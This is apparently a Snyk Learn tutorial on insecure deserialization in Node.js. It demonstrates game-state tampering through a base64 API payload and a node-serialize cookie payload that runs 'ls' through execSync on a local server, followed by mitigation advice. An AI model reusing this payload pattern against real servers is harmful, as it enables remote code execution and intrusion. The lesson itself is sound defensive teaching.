• Browse topics
Login
Login

SNYK LEARN LOGIN

OTHER REGIONS

For Snyk Enterprise customers with regional contracts. More info

Insecure deserialization

Improper handling of serialized data containing user input

Select your ecosystem

Insecure deserialization: the basics

What is insecure deserialization?

Serialization is a mechanism to transform application data into a format suitable for transport — a byte stream. Deserialization is the opposite process, converting byte stream into application data. Insecure deserialization is a vulnerability that occurs when attacker-controlled data is deserialized by the server. In the worst case, it can lead to remote code execution.

About this lesson

In this lesson, we will demonstrate an insecure deserialization attack by hacking an API of a video game company. Then, we will dive deeper into Java deserialization, explain the concept of a gadget, and study vulnerable Java code. Finally, we will cover how to mitigate this vulnerability.

But first, let’s hack a video game!

FUN FACT

A game within a game

You discovered an arbitrary code execution bug in some software and are unsure what code to execute. We have some inspiration for you! Check out this article from a 2014 speedrunning event. The article describes how a group of clever speedrunners managed to reprogram one game into another game.

Discovering insecure deserialization vulnerabilities

Insecure deserialization in action

Hacking a web game

"Dungeons and Money" is here! Your long-time favorite game developer, GreedAndCo, has finally finished the multiplayer online game you have been waiting for since childhood. It’s 11:59pm, and you have been furiously restarting the game, hoping for the login screen to appear.

The clock strikes midnight. With excitement at its peak, you press the login button and finally start playing. But something is not right—even a level 1 rabbit is life-threatening. The game relies on microtransactions! You have to pay $10.99 for an epic sword if you want to kill rabbits. You can’t believe this—you’ve already paid big money for the game. Oh well, it’s time to put your hacker’s hat on and fix this injustice!

small-sword

Wow, this sword really is tiny. But I’m not paying to upgrade. Let’s take a look at the terminal below and see if we can make some modifications.

Understanding the API

You start by sniffing the network traffic the game sends from your machine while you play. A few minutes later, you notice that the game client does an HTTP POST to https://api.dungeonsandmoney.com/state/147983414 with the following payload:

{
"playerState":
"eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo="
...
}

Maybe these long strings are base64 encoded? Let’s take the playerState value and verify that! Run:

echo eyJlcXVpcG1lbnQiOnsiaXRlbXMiOlswLDAsMSwwLDBdfSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQo= | base64 -d

Demo terminal

Changing the game state using serialized Data

We notice that there is a field named equipment within the serialized data that the game client sends to the server. This field contains a list of items represented as a sequence of numbers. For instance:

"equipment": {
"items": [0, 0, 1, 0, 0]
}

We can see that there's a 1 within the array of items. Given that we are currently at level 1 with our sword, it's reasonable to hypothesize that this number represents the level or strength of our sword.

To test this hypothesis, let's change the 1 to 20, upgrading the sword's level or strength:

"items": [0, 0, 20, 0, 0]

Insecure Deserialization often occurs when user input is not properly sanitized or validated before being processed. This can allow an attacker to manipulate the application state or execute arbitrary code. In JavaScript, the node-serialize library is known for its vulnerability to insecure deserialization attacks.

Upgrading Our Sword

Let's exploit this vulnerability by creating a malicious payload using the node-serialize library. We will include arbitrary JavaScript code within our payload to change the level of our sword to 20.

Here's how we do it:

This line imports the node-serialize library, which provides functions for serializing and deserializing objects in JavaScript.

Changing the game state: Encoding the Modified Data

Next, you need to encode this object back to a Base64 string. You use a simple script to accomplish this.

The output:

$ node ./statechange.js
Base64 Encoded: eyJlcXVpcG1lbnQiOnsiaXRlbXMiOnsiMCI6MCwiMSI6MCwiMiI6MjAsIjMiOjAsIjQiOjB9fSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQ==

Sending the payload to the server

Now we can attach this payload to the API POST request.

curl -H "Content-Type: application/json" -X POST -d '{ "playerState":"eyJlcXVpcG1lbnQiOnsiaXRlbXMiOnsiMCI6MCwiMSI6MCwiMiI6MjAsIjMiOjAsIjQiOjB9fSwibG9jYXRpb24iOnsieCI6MTIsInkiOjE1LCJ6b25lIjoiU3RhcnRpbmcgQXJlYSJ9fQ=="}' https://api.dungeonsandmoney.com/state/147983414

You log into the game, and boom! Your level 1 sword just got upgraded to level 20. By manipulating serialized data, you managed to change the state of the game.

ridiculously-large-sword

Upgrading to full code execution

You've been exploring the world of JavaScript servers and stumble upon whispers of mythical payload objects. They say that if a Node.js server incorrectly processes this payload, it could be susceptible to unauthorized command execution!

Let's say there's another endpoint that accepts some serialized user details. The server-side code might look something like this. We have two routes: /save to serialize and save data in a cookie and /retrieve to get and unserialized data from the cookie.

We may use the following script to generate a payload. This script will generate a serialized payload that will execute the ls command on the server when parsed.

Run the script to generate the payload using node. It should generate the following output:

$ node exploit.js
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgY29uc3QgZXhlY1N5bmMgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmM7IGNvbnNvbGUubG9nKGV4ZWNTeW5jKCdscycsIHtlbmNvZGluZzogJ3V0Zi04J30pKTsgfSgpIiwiZ2VuZGVyIjoiTWFsZSIsIkFnZSI6NDB9

Send this payload to the server in a cookie to manipulate the server-side data:

curl -X POST -H "Content-Type: application/json" -c cookies.txt -d '{}' http://localhost:3002/save --cookie "userData=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgY29uc3QgZXhlY1N5bmMgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmM7IGNvbnNvbGUubG9nKGV4ZWNTeW5jKCdscycsIHtlbmNvZGluZzogJ3V0Zi04J30pKTsgfSgpIiwiZ2VuZGVyIjoiTWFsZSIsIkFnZSI6NDB9"

To retrieve the result, execute the following command:

curl -b cookies.txt http://localhost:3002/retrieve

We get the following output, note that the username parameter is missing!

{"gender":"Male","Age":40}

On the server terminal, we can see the output of ls, showing us that the command execution payload worked successfully.

tmp$ node server.js
Server running on port 3002
super_secret_stuff.txt
cat_pics
passwords.xlsx
passport.jpg

This example illustrates a profound vulnerability in some Node.js applications. They might naïvely trust serialized data, giving rise to potential manipulations. Such issues can lead to not just data tampering but, in other contexts, even server shutdowns or arbitrary command executions. This serves as a vital reminder: never blindly trust data, especially if it comes from uncharted territories. Always sanitize, validate, and be on the lookout for vulnerabilities!

Insecure deserialization under the hood

State manipulation: a false sense of security

We saw how insecure deserialization can lead to state manipulation and remote code execution in the previous section. State manipulation can happen regardless of serialization being used or not. However, because serialized payloads are more “obscure”, developers tend to assume that serialization somehow protects them against this kind of attack. In reality, it doesn’t matter if payloads are human-readable JSON or obscure binary blobs — if the client can unexpectedly manipulate the state, the whole API needs to be redesigned.

But the truth is far from it. Whether a payload is a seemingly cryptic Base64 encoded string or a straightforward JSON object, if a malicious actor can influence its contents, the integrity of the application is at risk. Rather than relying on obscurity, it's paramount to ensure that any data - serialized or not - coming from untrusted sources is meticulously validated and sanitized. When a system is vulnerable to state manipulation from client-side data, it's a clear sign that there's a pressing need for a more secure design approach.

Why is insecure deserialization so dangerous?

Insecure deserialization poses a significant threat due to its ability to enable Remote Code Execution (RCE), allowing attackers to run arbitrary code on a victim's system. This vulnerability can lead to full system control if exploited on servers. Additionally, tampered serialized data can facilitate privilege escalation, giving attackers unauthorized access to restricted areas of an application. This can result in data breaches, unauthorized system changes, and replay attacks. In essence, insecure deserialization can serve as a gateway to a plethora of malicious activities, emphasizing the critical need for robust security precautions.

Let's take another look at the vulnerable server-side code. The issue with this code is simple: it trusts user input by serializing and unserializing it.

Scan your code & stay secure with Snyk - for FREE!

Did you know you can use Snyk for free to verify that your code
doesn't include this or other vulnerabilities?

Scan your code

Insecure deserialization mitigation

Insecure deserialization can lead to a variety of attacks, including remote code execution, replay attacks, and privilege escalation. Therefore, it's essential to mitigate the risks associated with deserialization in your applications. Here are some strategies and best practices to help safeguard your JavaScript applications against insecure deserialization attacks:

Avoid deserializing untrusted data

As a golden rule, avoid deserializing data from untrusted sources. If you don't need to deserialize, don't. This is the most effective way to prevent insecure deserialization attacks.

Use safe deserialization libraries

Choose libraries that do not allow the execution of arbitrary code upon deserialization. For example, native JSON parsing (JSON.parse()) in JavaScript does not execute functions or methods, making it inherently safer than some other serialization libraries.

Validate and sanitize input

Before deserialization, validate input data against a known schema or set of expectations. Reject any data that doesn't conform. Sanitize the input to remove or neutralize potentially malicious content.

Implement integrity checks

Use cryptographic mechanisms, like digital signatures (HMACs, for example), to ensure that serialized data has not been tampered with during transit.

Limit deserialization features

If you're using a serialization library that offers dangerous features such as magic functions, configure it to disable or limit potentially unsafe features.

Implement proper error handling

Handle deserialization errors gracefully. Avoid exposing stack traces or detailed error messages to users, as they can provide attackers with insights into the inner workings of your application.

Quiz

Test your knowledge!

Quiz

What is the golden rule about deserializing data?

Keep learning

To learn more about Insecure Deserialization, check out some other great content:

And some content by Snyk:

Congratulations

Woohoo! You've learned what the risks are of insecure deserialization. You’ve also learned how to mitigate it. Also, make sure to check out our lessons on other common vulnerabilities.